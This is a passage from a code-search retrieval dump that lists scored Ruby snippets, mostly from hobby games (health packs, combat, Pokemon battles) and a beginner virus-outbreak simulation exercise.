\tputs \"Tu n'as rien trouvé... \"\n\n\t \t\telsif result.between?(2,5)\n\t \t\t\tunless @life_points < 100\n\t \t\t\t\t@life_points = @life_points+50 \n\t \t\t\t\tputs \"Bravo, tu as trouvé un pack de +50 points de vie !\"\n\t \t\t\telse \n\t \t\t\t\tputs \"Désolé tu as déjà plein de vies\"\n\t \t\t\tend\n\t \t\telse \n\t \t\t\tunless @life_points < 100\n\t\t \t\t\t@life_points = @life_points+80\n\t\t\t \t\tputs \"Waow, tu as trouvé un pack de +80 points de vie !\"\n\t\t\t \telse \n\t \t\t\t\tputs \"Désolé tu as déjà pleins de vies\"\n\t\t \t\tend\n\t \t\tend\n\t \tend", "title": "" }, { "docid": "96343910682d0529b74332269ba4fe7b", "score": "0.6033751", "text": "def search_health_pack\n\t\thealing = rand(1..6)\n\t\tif healing == 1\n\t\t\tputs \"Tu n'as rien trouvé... \"\n\t\telsif healing >= 2 && healing <= 5\n\t\t\tif self.life_points > 50 # Test si les points ajoutés feront passer au dessus de 100 pts\n\t\t\t\tself.life_points = 100\n\t\t\telse\n\t\t\t\tself.life_points += 50\n\t\t\tend\n\t\t\tputs \"Bravo, tu as trouvé un pack de +50 points de vie !\"\n\t\telsif healing == 6\n\t\t\tif self.life_points > 20 # Test si les points ajoutés feront passer au dessus de 100 pts\n\t\t\t\tself.life_points = 100\n\t\t\telse\n\t\t\t\tself.life_points += 80\n\t\t\tend\n\t\t\tputs \"Champagne! Tu as trouvé un pack de +80 points de vie !\"\n\t\tend\n\t\t\n\tend", "title": "" }, { "docid": "247891bf8530492ab1cf1f1f867854b3", "score": "0.6022084", "text": "def treasure_drop(enemy)\n if rand(100) < enemy.treasure_prob\n treasure = $data_items[enemy.item_id] if enemy.item_id > 0\n treasure = $data_weapons[enemy.weapon_id] if enemy.weapon_id > 0\n treasure = $data_armors[enemy.armor_id] if enemy.armor_id > 0\n end\n return treasure\n end", "title": "" }, { "docid": "0266a93ca492366384023adb1a2bdab7", "score": "0.6010098", "text": "def search_health_pack\n dice = rand(1..6)\n if dice == 1\n puts \"Tu n'as rien trouvé... \"\n elsif dice > 1 && dice < 6 \n @life_points += 50 \n puts \"Bravo, tu as trouvé un pack de +50 points de vie !\" \n if @life_points > 100\n @life_points = 100\n end\n elsif dice == 6 \n @life_points += 80\n puts \"Waow, tu as trouvé un pack de +80 points de vie !\"\n if @life_points > 100\n @life_points = 100\n end\n end\n end", "title": "" }, { "docid": "a0bd91cf56e58e89793f7f207dc03dd4", "score": "0.59734565", "text": "def hit( damage )\n p_up = rand( charisma )\n if p_up % 9 == 7\n @life += p_up / 4\n puts \"[#{ self.class } magick powers up #{ p_up }!]\"\n end\n @life -= damage\n puts \"[#{ self.class } has died.]\" if @life <= 0\n end", "title": "" }, { "docid": "39d93fb0942dff983396366623d2383e", "score": "0.5969135", "text": "def meow()\n punctuations = '.!?'\n \"#{CAT_FACES[rand(CAT_FACES.length)]} Meow#{punctuations[rand(punctuations.length)]}\"\n end", "title": "" }, { "docid": "f3ff8a7a5fcfb09acbc6d7bdb9787cfb", "score": "0.59676415", "text": "def virus_effects\n number_of_deaths = (@population * predicted_deaths).floor\n speed = speed_of_spread\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak and will spread across the state in #{speed} months.\\n\\n\"\n end", "title": "" }, { "docid": "86b3622e395fb66ead7bc830ba9c1f7b", "score": "0.5947542", "text": "def hit_it_back\n\t\thit_it = rand(4)\n\t\tif hit_it == 0\n\t\t\tputs \"out. bad luck kiddo\"\n\t\t\tincrement_opponent_game_score\n\t\telsif hit_it == 1\n\t\t\tputs \"ok, at least you got it in\"\n\t\t\topponent_now_has_upper_hand\n\t\telsif hit_it == 2\n\t\t\tputs \"that's good, work his backhand\"\n\t\t\topponent_returns_pretty_good_shot\n\t\telsif hit_it == 3\n\t\t\tputs \"nice shot what a ripper\"\n\t\t\topponent_attempts_to_return_awesome_shot\n\t\tend\n\tend", "title": "" }, { "docid": "b89d312fdbaae2caa034075bef2ad207", "score": "0.5942335", "text": "def win_fight\n if $boss_hp <= 0\n puts \"You win!\"\n $in_combat = false\n $in_boss = false\n $dead_boss = true #add a unique dialogue somewhere if this is true\n $in_forest = true\n end\nend", "title": "" }, { "docid": "7fde05c98c26730ad5ad2bbd48a97f6d", "score": "0.5928598", "text": "def search_health_pack\n\t\thealth_pack = rand(1..6)\n\t\tif health_pack == 1\n\t\t\tputs \"Tu n'as rien trouvé...\"\n\t\telsif health_pack >= 2 && health_pack <= 5\n\t\t\tputs \"Bravo, tu as trouvé un pack de +50 points de vie\"\n\t\t\t@life_points = [100, @life_points + 50].min\n\t\telse\n\t\t\tputs \"Waow, tu as trouvé un pack de +80 points de vie !\"\n\t\t\t@life_points = [100, @life_points + 80].min\n\t\tend\n\tend", "title": "" }, { "docid": "45e0254a42aa98d9606e1cb18e7c7e24", "score": "0.5924939", "text": "def hatch\n @status = Idle\n @target = nil\n @virility = 0\n babies = []\n rand(MaxBabiesFromEgg).to_i.times {babies << baby_salmon}\n babies\n end", "title": "" }, { "docid": "0d237ccd57e490084a9d95b6f5c107d4", "score": "0.59244716", "text": "def predicted_deaths\n multiplier = 0\n if @population_density >= 200\n multiplier = 0.4\n elsif @population_density >= 150\n multiplier = 0.3\n elsif @population_density >= 100\n multiplier = 0.2\n elsif @population_density >= 50\n multiplier = 0.1\n else\n multiplier = 0.05\n end\n number_of_deaths = (@population * multiplier).floor\n # end\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end", "title": "" }, { "docid": "be6663271cf91a269cfdabf55a4bb4ca", "score": "0.5913106", "text": "def cheats\n win if @gilbert.x > 2995 && @gilbert.y == 846.5\n end", "title": "" }, { "docid": "b684de4ad6e9cc68d60b1f9f920c704e", "score": "0.5911306", "text": "def game_over(name)\n end", "title": "" }, { "docid": "d0f432abc5496e22634900bd8c6d1ce5", "score": "0.5899029", "text": "def hit damage\n out = ''\n p_up = rand charisma\n if p_up % 9 == 7\n @life += p_up / 4\n out << \"[#{self.name} magick powers up #{p_up}!]\\n\"\n end\n @life -= damage\n out << \"[#{self.name} has died.]\\n\" if @life <= 0\n out\n end", "title": "" }, { "docid": "59a99f1f11550a94e59c4ced0cb28cc0", "score": "0.589585", "text": "def have_double_wild_battle?\r\n return false if $PokemonTemp.forceSingleBattle\r\n return false if pbInSafari?\r\n return true if $PokemonGlobal.partner\r\n return false if $Trainer.able_pokemon_count <= 1\r\n return true if $game_player.pbTerrainTag.double_wild_encounters && rand(100) < 30\r\n return false\r\n end", "title": "" }, { "docid": "3a3ac875bf95339c4dbfa93657a297fe", "score": "0.5894339", "text": "def make_shoot(a_point)\n\tmsj = 'water'\n\tif(!is_empty(a_point))\n\t\tmsj = make_damage(a_point)\n\tend\n\tmsj\n end", "title": "" }, { "docid": "9cdef8e7fefac3d05912776a03a0ee42", "score": "0.58678925", "text": "def being_attacked\n\tif @enemy_health > 0\n\t\t@enemy_power -= rand(-3..3)\n\t\tputs \"The #{@enemy} attacks again, doing #{@enemy_power - @defense} damage.\"\n\t\t@health -= (@enemy_power - @defense)\n\t\tfight\n\telse\n\t\tputs \"You beat the #{@enemy}!\"\n\t\tputs \"\"\n\t\tputs \"+#{@enemy_power + rand(9) + (@luck * @luck_points)} pointless points!\"\n\t\t@pointless_points += (@enemy_power + rand(9) + (@luck * @luck_points))\n\t\tcontroller\n\tend\nend", "title": "" }, { "docid": "5a8ec72b56cab8508b2a10ea66fe963f", "score": "0.5864261", "text": "def random_encounter\n narrate(\"an enemy appears!\")\n a = Fight.new(@player, @enemy_list.sample)\n if a.now\n here\n else\n\n #here is where u die\n STDIN.getch\n puts\n puts \"There is only one god and his name is Death. And there is only one thing we say to Death: Not today.\"\n \n STDIN.getch\n puts\n\n\n start = Startup.new()\n start.start\n end\n end", "title": "" }, { "docid": "6072d75b77cc3f5a3a32800a0e38e407", "score": "0.586398", "text": "def player_dead_decide\n if @player[:hp] <= 0\n framed_narration('You died...🤷‍♂️')\n next_line\n dead_story = Story.new\n dead_story.dead_end\n end\n end", "title": "" }, { "docid": "b12733cd43b9284c9ff55b9b0db38fdd", "score": "0.5843879", "text": "def game_over\n print_board\n if victor?\n puts \"#{self.victor?} is the victor!\"\n elsif @turn_count == 10\n puts \"Game is a draw.\"\n end\n end", "title": "" }, { "docid": "ac8157a6b2fe856801f4a651cafaa517", "score": "0.58408654", "text": "def encounter\n if self.outrun_zombie?\n return \"You escape!\"\n elsif self.survive_attack?\n return \"You kill the zombie!\"\n else\n return \"You are one of the shuffling horde now.\"\n end\n end", "title": "" }, { "docid": "99e8a36de93154ce6b5a3d52e28ce8db", "score": "0.583237", "text": "def under_water?\n return $game_player.system_tag == TUnderWater\n end", "title": "" }, { "docid": "c5e97b9f23461ec1592b58bbe90f7678", "score": "0.58250433", "text": "def simulateUntilDeath\n @round_num = 0\n starting_elves = @characters.filter { |c| c.type == \"E\"}.length\n until gameOver?\n @round_num += 1\n puts \"round: #{@round_num}\"\n self.round\n # End game if an elf dies\n # puts @characters.filter { |c| c.type == \"E\"}\n if @characters.filter { |c| c.type == \"E\"}.length != starting_elves\n puts \"Elf death @ round #{@round_num} hp #{@elf_attack}\"\n return [@round_num, totalHP, false]\n end\n end\n return [@round_num, totalHP, true ]\n end", "title": "" }, { "docid": "703604f81381f6e4a426e7264692e621", "score": "0.5823349", "text": "def predicted_deaths()\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "703604f81381f6e4a426e7264692e621", "score": "0.5823349", "text": "def predicted_deaths()\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "3dc07a6ec46944fd337f50ae78c58da7", "score": "0.5820019", "text": "def predicted_deaths \n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "5331b854f4c3699c5b2d02deae4c41db", "score": "0.5811853", "text": "def game_over?\n true\n end", "title": "" }, { "docid": "e0ec20926217ac18c38afe73e5555440", "score": "0.5811011", "text": "def predicted_deaths\n if @population_density >= 200\n multiplier = 0.4\n elsif @population_density >= 150\n multiplier = 0.3\n elsif @population_density >= 100\n multiplier = 0.2\n elsif @population_density >= 50\n multiplier = 0.1\n else\n multiplier = 0.05\n end\n number_of_deaths = (@population * multiplier).floor\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end", "title": "" }, { "docid": "4324be0b5cdf7fa13833f105861e621c", "score": "0.5804424", "text": "def game; end", "title": "" }, { "docid": "4324be0b5cdf7fa13833f105861e621c", "score": "0.5804424", "text": "def game; end", "title": "" }, { "docid": "4324be0b5cdf7fa13833f105861e621c", "score": "0.5804424", "text": "def game; end", "title": "" }, { "docid": "4324be0b5cdf7fa13833f105861e621c", "score": "0.5804424", "text": "def game; end", "title": "" }, { "docid": "4324be0b5cdf7fa13833f105861e621c", "score": "0.5804424", "text": "def game; end", "title": "" }, { "docid": "4324be0b5cdf7fa13833f105861e621c", "score": "0.5803598", "text": "def game; end", "title": "" }, { "docid": "4324be0b5cdf7fa13833f105861e621c", "score": "0.5803598", "text": "def game; end", "title": "" }, { "docid": "3dc182125b31c34ff72800b8409c1f7a", "score": "0.57954085", "text": "def defeat\n @current_player = @players[\"plyr2\"]\n if @it == 12\n puts \" \"\n puts \" Code-breaker #{@current_player} loses!!\"\n puts \" \"\n puts \"Solution is #{@result}\"\n puts \" \"\n end\n end", "title": "" }, { "docid": "75097a4ff6e44bf3a94991fa3d7e4410", "score": "0.5795243", "text": "def search_health_pack \n health_pack = rand(1..6)\n\n if health_pack == 1 \n puts \"Tu n'as rien trouvé !\"\n\n elsif health_pack == 6 \n if @life_points >= 20 \n @life_points = 100\n else\n @life_points + 80\n end\n puts \"Wahouuu, tu as trouvé un pack de +80 points de vie !\"\n\n else \n if @life_points >= 50\n @life_points = 100\n else \n @life_points + 50\n end\n puts \"Bravo, tu as trouvé un pack de +50 points de vie !\"\n end\n end", "title": "" }, { "docid": "320360c34e19cfea651ef12ead9ff407", "score": "0.5791398", "text": "def predicted_deaths\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "a36ab29d3bf16c8ddd9c6cc8199b3e91", "score": "0.579086", "text": "def detect_injury \n @last_hit = time unless events['got_hit'].empty? \n if @last_hit and time - @last_hit < 4\n say('hit')\n @turn_speed = @FAST_TURN \n elsif @last_hit and (time - @last_hit < 10)\n say('not hit')\n @turn_speed = rand(1...@NORMAL_TURN) \n end \n end", "title": "" }, { "docid": "2de2d6c341bc3a195820021851a1d1ce", "score": "0.5785652", "text": "def active_drops() ; return $game_yggdrasil.active_drops ; end", "title": "" }, { "docid": "74529501d53d4d997f1197c4be58b63b", "score": "0.5785043", "text": "def battler_hue\n return 0\n end", "title": "" }, { "docid": "0fd0d4b983ead155d575f2ba475e5182", "score": "0.5782274", "text": "def predicted_deaths\n # predicted deaths is solely based on population density\n number_of_deaths =\n if @population_density >= 200\n (@population * 0.4).floor\n elsif @population_density >= 150\n (@population * 0.3).floor\n elsif @population_density >= 100\n (@population * 0.2).floor\n elsif @population_density >= 50\n (@population * 0.1).floor\n else\n (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "ac3dd0bd799e87bcf8bda5773d0bec5a", "score": "0.5780318", "text": "def play_dead\n puts \"Lay down, roll over, stay still\"\n end", "title": "" }, { "docid": "3e080f1e77ae26431029df724b1e01d7", "score": "0.5776462", "text": "def predicted_deaths\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "5695f79e8721d0cc2cf3d6a95eed6948", "score": "0.5774283", "text": "def test_lose_game_when_chances_used_up\n\t\th = Hangman.new(word)\n\t\tassert_equal true, h.lose_game?\n\tend", "title": "" }, { "docid": "0911fd8a88c09053e23427d746b46634", "score": "0.5769683", "text": "def attack()\n return @level + rand(3) - rand(3)\n end", "title": "" }, { "docid": "491426c978d81a0a6ac8fb330c34a2a8", "score": "0.5767652", "text": "def predicted_deaths\n # predicted deaths is solely based on population density\n number_of_deaths = if @population_density >= 200\n (@population * 0.4).floor\n elsif @population_density >= 150\n (@population * 0.3).floor\n elsif @population_density >= 100\n (@population * 0.2).floor\n elsif @population_density >= 50\n (@population * 0.1).floor\n else\n (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "da65441f7aefe9dd9a605ba29d24d768", "score": "0.5760452", "text": "def unit_other_category(u)\n # comment is actual code returned by the df function\n return :Berserk if u.mood == :Berserk # 5\n return :Berserk if unit_testflagcurse(u, :CRAZED) # 14\n return :Undead if unit_testflagcurse(u, :OPPOSED_TO_LIFE) # 1\n return :Undead if u.flags3.ghostly # 15\n\n if df.gamemode == :ADVENTURE\n return :Hostile if u.civ_id == -1 # 2\n if u.animal.population.region_x == -1\n return :Wild if u.flags2.roaming_wilderness_population_source_not_a_map_feature # 0\n else\n return :Hostile if u.flags2.important_historical_figure and n = unit_nemesis(u) and n.flags[:ACTIVE_ADVENTURER] # 2\n end\n return :Hostile if u.flags2.resident # 3\n return :Hostile # 4\n end\n\n return :Invader if u.flags1.active_invader or u.flags1.invader_origin # 6\n return :Friendly if u.flags1.forest or u.flags1.merchant or u.flags1.diplomat # 8\n return :Hostile if u.flags1.tame # 7\n\n if u.civ_id != -1\n return :Unsure if u.civ_id != df.ui.civ_id or u.flags1.resident or u.flags1.visitor or u.flags1.visitor_uninvited # 10\n return :Hostile # 7\n\n elsif u.animal.population.region_x == -1\n return :Friendly if u.flags2.visitor # 8\n return :Uninvited if u.flags2.visitor_uninvited # 12\n return :Underworld if r = u.race_tg and r.underground_layer_min == 5 # 9\n return :Resident if u.flags2.resident # 13\n return :Friendly # 8\n\n else\n return :Friendly if u.flags2.visitor # 8\n return :Underworld if r = u.race_tg and r.underground_layer_min == 5 # 9\n return :Wild if u.animal.population.feature_idx == -1 and u.animal.population.cave_id == -1 # 0\n return :Wild # 11\n end\n end", "title": "" }, { "docid": "9c4d4ccef0f79774a908f815af894b86", "score": "0.5759843", "text": "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n # if @population_density >= 200\r\n # number_of_deaths = (@population * 0.4).floor\r\n # elsif @population_density >= 150\r\n # number_of_deaths = (@population * 0.3).floor\r\n # elsif @population_density >= 100\r\n # number_of_deaths = (@population * 0.2).floor\r\n # elsif @population_density >= 50\r\n # number_of_deaths = (@population * 0.1).floor\r\n # else\r\n # number_of_deaths = (@population * 0.05).floor\r\n # end\r\n\r\n print \"#{@state} will lose #{@number_of_deaths} people in this outbreak\"\r\n\r\n end", "title": "" }, { "docid": "e5016da3f237b408b9171eac91bf51d6", "score": "0.5758843", "text": "def virus_effects\n num_of_death = predicted_deaths\n speed = speed_of_spread\n print \"#{@state} will lose #{num_of_death} people in this outbreak and will spread across the state in #{speed} months.\\n\\n\"\n end", "title": "" }, { "docid": "ca6aec309072ddd6503d7da3311ad5fb", "score": "0.57549435", "text": "def predicted_deaths\n # predicted deaths is solely based on population density\n number_of_deaths =\n if @population_density >= 200\n (@population * 0.4).floor\n elsif @population_density >= 150\n (@population * 0.3).floor\n elsif @population_density >= 100\n (@population * 0.2).floor\n elsif @population_density >= 50\n (@population * 0.1).floor\n else\n (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "98c19621f1cba640d1512c5be9f15f0a", "score": "0.57524014", "text": "def attack\r\n\t\tputs \"#@name the #@type attacks!\"\r\n\t\tputs \" \"\r\n\t\t$attack = rand(20..60)\r\n\tend", "title": "" }, { "docid": "d7dd72d5c06b3a014f0037d6aa10f522", "score": "0.5745154", "text": "def action\n if player_hand.collect{|x| x.value}.inject(:+) < 21 && player_hand.length == 6\n lengthwin\n else\n puts \"Would you like to 'hit' or 'stay'?\"\n answer = STDIN.gets.chomp.downcase\n until answer == \"hit\" || answer == \"stay\"\n puts \"Simply let me know if you would like to 'hit' or 'stay', sir.\"\n answer = STDIN.gets.chomp\n end\n if answer == \"hit\"\n hit = bjdeck.draw\n player_hand << hit\n blind_score\n if player_hand.collect{|x| x.value}.inject(:+) > 21\n puts \"It appears you have busted.\"\n lose\n else\n action\n end\n else\n computer_turn\n end\n end\n end", "title": "" }, { "docid": "ee727fae1366dd31f1e3af5cbc06b434", "score": "0.5744866", "text": "def behavior_hungry\n @world.food.each do |food|\n if distance_from_point(food.position) < (food.quantity + ROID_SIZE*5)\n @delta -= self.position - food.position\n end \n if distance_from_point(food.position) <= food.quantity + 5\n eat food\n end \n end \n end", "title": "" }, { "docid": "e741facd2637f514b5400379bd5b1b16", "score": "0.5743996", "text": "def virus_effects\n number_of_deaths = predicted_deaths\n speed = speed_of_spread\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak and will spread across the state in #{speed} months.\\n\\n\"\n end", "title": "" }, { "docid": "e741facd2637f514b5400379bd5b1b16", "score": "0.5743996", "text": "def virus_effects\n number_of_deaths = predicted_deaths\n speed = speed_of_spread\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak and will spread across the state in #{speed} months.\\n\\n\"\n end", "title": "" }, { "docid": "b848375a75e8e9e5b02bca1b810c533a", "score": "0.5737478", "text": "def predicted_deaths\n case\n when @population_density >= 200 then number_of_deaths = (@population * 0.4).floor\n when @population_density >= 150 then number_of_deaths = (@population * 0.3).floor\n when @population_density >= 100 then number_of_deaths = (@population * 0.2).floor\n when @population_density >= 50 then number_of_deaths = (@population * 0.1).floor\n else number_of_deaths = (@population * 0.05).floor\n end\n \n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "81ec9f5ae68deb50baa2a9c5aa2c2058", "score": "0.5732517", "text": "def mouth_size(animal)\n return \"small\" if animal == \"alligator\" || animal == \"ALLIGATOR\"\n \"wide\"\nend", "title": "" }, { "docid": "73ad54e776c8de5a8486c63e3fc297b1", "score": "0.5731647", "text": "def search_health_pack\n use_health_pack = rand(1..6)\n #pas de vie\n if use_health_pack == 1\n puts \"rien ne ce passe\"\n puts \"\"\n #un gros pack de vie verif life ne depasse pas 100\n elsif use_health_pack == 6\n @life_points += 80\n @life_points = 100 if @life_points > 100\n puts \"tu te heal pour 80HP\"\n puts \"\"\n #un moyen pack de vie verif life ne depasse pas 100\n else\n @life_points += 50\n @life_points = 100 if @life_points > 100\n puts \"tu te heal pour 50HP\"\n puts \"\"\n end\n end", "title": "" }, { "docid": "2cdd3b1a482b0524ee4b656bff401853", "score": "0.572537", "text": "def humanplayer_attack_selected_bots(x)\n human_damage = @human_player.compute_damage\n @enemies[x].gets_damage(human_damage)\n puts \"#{@human_player.name} inflige #{human_damage} point(s) de dégât au bots #{x + 1}\" # #####\n if @enemies[x].life_points <= 0 \n puts \"- le bots #{@enemies[x].name} est mort\"\n kill_player(x)\n end\n #show_bots_state\n end", "title": "" }, { "docid": "e0b418fac4307700b415ac26c5df71e7", "score": "0.5725192", "text": "def virus_effects\n puts \"#{@state} will lose #{predicted_deaths.floor} people in this outbreak and will spread across the state in #{speed_of_spread} months.\\n\\n\"\n end", "title": "" }, { "docid": "8d54bbf22bb12a0b89c8a8998a30db84", "score": "0.572158", "text": "def predicted_deaths\n # predicted deaths is solely based on population density\n @number_of_deaths = if @population_density >= 200\n (@population * 0.4).floor\n elsif @population_density >= 150\n (@population * 0.3).floor\n elsif @population_density >= 100\n (@population * 0.2).floor\n elsif @population_density >= 50\n (@population * 0.1).floor\n else\n (@population * 0.05).floor\n end\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end", "title": "" }, { "docid": "ff75090ee06ffbba9a5d87870d29e2ec", "score": "0.57195723", "text": "def mood\n if self.happiness && self.nausea\n self.happiness > self.nausea ? \"happy\" : \"sad\"\n end\n end", "title": "" }, { "docid": "615791d8ae5a1a928eca1c33ba2c00ba", "score": "0.57172954", "text": "def lost\r\n @chances -= 1\r\n \tputs self\r\n puts \"Too late! The word was #{@secret_word}.\"\r\n puts \"Better luck next time!\"\r\n end_game\r\n end", "title": "" }, { "docid": "8bed5414f22aa10b9e513576bdb2a446", "score": "0.57160705", "text": "def kills\n @death\n end", "title": "" }, { "docid": "0099f8b36302d6c699dd0516771b8363", "score": "0.57140744", "text": "def sword_damage(str, dex, luck)\n damage = (str + dex)/2 * rand(luck)\n if damage == 0\n puts \"You missed!\"\n else\n puts \"Your sword strikes for #{damage} damage!\"\n end\nend", "title": "" }, { "docid": "83950f63c80474e3c7b0dbf20cc6d74e", "score": "0.5711261", "text": "def predicted_deaths\n # predicted deaths is solely based on population density\n if population_density >= 200\n number_of_deaths = (population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "26a61a8a95b02d3ec54a3b87bf8c8aec", "score": "0.5708787", "text": "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n factor = 0.4\n elsif @population_density >= 150\n factor = 0.3\n elsif @population_density >= 100\n factor = 0.2\n elsif @population_density >= 50\n factor = 0.1\n else\n factor = 0.05\n end\n\n print \"#{@state} will lose #{(@population * factor).floor} people in this outbreak\"\n\n end", "title": "" }, { "docid": "6ee1a7c1ab87c898b9806fcc376c4388", "score": "0.5703488", "text": "def predicted_deaths\r\n\r\n number_of_deaths = (population * 0.05).floor\r\n \r\n 4.times do |i|\r\n if population_density >= 50*(i+1)\r\n number_of_deaths = (population * 0.1*(i+1)).floor\r\n end\r\n end\r\n print \"#{state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "title": "" }, { "docid": "399cb10149e27b34125047878bf17dd7", "score": "0.56997746", "text": "def search_health_pack\n health_pack= rand(1..6)\n if health_pack == 1\n puts \"Tu n'as rien trouvé... \"\n elsif health_pack >= 2 && health_pack <=5\n puts \"Bravo, tu as trouvé un pack de +50 points de vie !\"\n health_pack = 50\n if @life_points < 100 #je met une conditon pour pas dépasser 100 point de vie\n @life_points = @life_points + health_pack\n if @life_points > 100\n @life_points = 100\n end\n end\n puts \"Votre Santé en est rendu à #{@life_points} point de vie\"\n else health_pack == 6\n puts \"Waow, tu as trouvé un pack de +80 points de vie !\"\n health_pack = 80\n if @life_points < 100\n @life_points = @life_points + health_pack\n if @life_points > 100\n @life_points = 100\n end\n end\n puts \"Votre Santé en est rendu à #{@life_points} point de vie\"\n end\n end", "title": "" }, { "docid": "7a7477084702f9e0d7ee668969f98108", "score": "0.56976604", "text": "def good_pokemon # :not_very_effective AND :no_effect_on\n good_pokemon = []\n @type.not_very_effective.each {|pokemon| good_pokemon << pokemon}\n @type.no_effect_on.each {|pokemon| good_pokemon << pokemon if !good_pokemon.include?(pokemon)}\n \n if good_pokemon.count > 0\n puts \"\"\n puts \"USE POKEMON OF THESE TYPE(S)\"\n good_pokemon.each_with_index {|pokemon, index| puts \"#{index +1}. #{pokemon.name}\"}\n end\n end", "title": "" }, { "docid": "da7790dfbaed9988e9f395c70d3db901", "score": "0.56964576", "text": "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\" end", "title": "" }, { "docid": "dc78acdc0581d989c2a3fc738084dbc4", "score": "0.5695792", "text": "def enemies_attack\n total_bots_damage = 0\n @enemies.each do |bots_player|\n bots_damage = rand(1..6)\n @human_player.gets_damage(bots_damage)\n total_bots_damage += bots_damage\n end\n puts \"le(s) #{@enemies.length} inflige(nt) #{total_bots_damage} points de vie a #{@human_player.name}\"\n end", "title": "" }, { "docid": "edabf5df76cb7c87ac589813c4ec0d17", "score": "0.5691638", "text": "def predicted_deaths\n num = case @population_density\n when 200..99999 then 0.4\n when 150...200 then 0.3\n when 100...150 then 0.2\n when 50...100 then 0.1\n when 0...50 then 0.05\n end\n number_of_deaths = (@population * num).floor\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end", "title": "" }, { "docid": "147c2a9dccace7b9e9a2ddc658eb337c", "score": "0.568745", "text": "def virus_effects\n predicted_deaths\n speed_of_spread\n print \"#{@state} will lose #{@number_of_deaths} people in this outbreak and will spread across the state in #{@speed} months.\\n\\n\"\n end", "title": "" }, { "docid": "5beaafbbc365333627f3a6417617ad92", "score": "0.56844103", "text": "def virus_effects\n predicted_deaths\n speed_of_spread\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "title": "" }, { "docid": "3a2b8b6dd62d95f4494f3ad94df9feb3", "score": "0.5683346", "text": "def predicted_deaths(this)\r\n # predicted deaths is solely based on population density\r\n case @population_density\r\n when 200..\r\n number_of_deaths = (@population * 0.4).floor\r\n when 150..200\r\n number_of_deaths = (@population * 0.3).floor\r\n when 100..150\r\n number_of_deaths = (@population * 0.2).floor\r\n when 50..100\r\n number_of_deaths = (@population * 0.1).floor\r\n when 0..50\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n end", "title": "" }, { "docid": "9aeb74aca570511980342497b1bd13da", "score": "0.5680545", "text": "def battle\n playerset($testing)\n fieldmonsters = []\n efieldmonsters = []\n @@monsterfield.each { |x| \n if x[:type] == \"monster\"\n fieldmonsters.push(x)\n end\n }\n if fieldmonsters.empty? == true\t\n puts \"There are no monsters to battle with\".red\n return\n end\n @@emonsterfield.each { |x| \t\t\t\n if x[:type] == \"monster\"\n 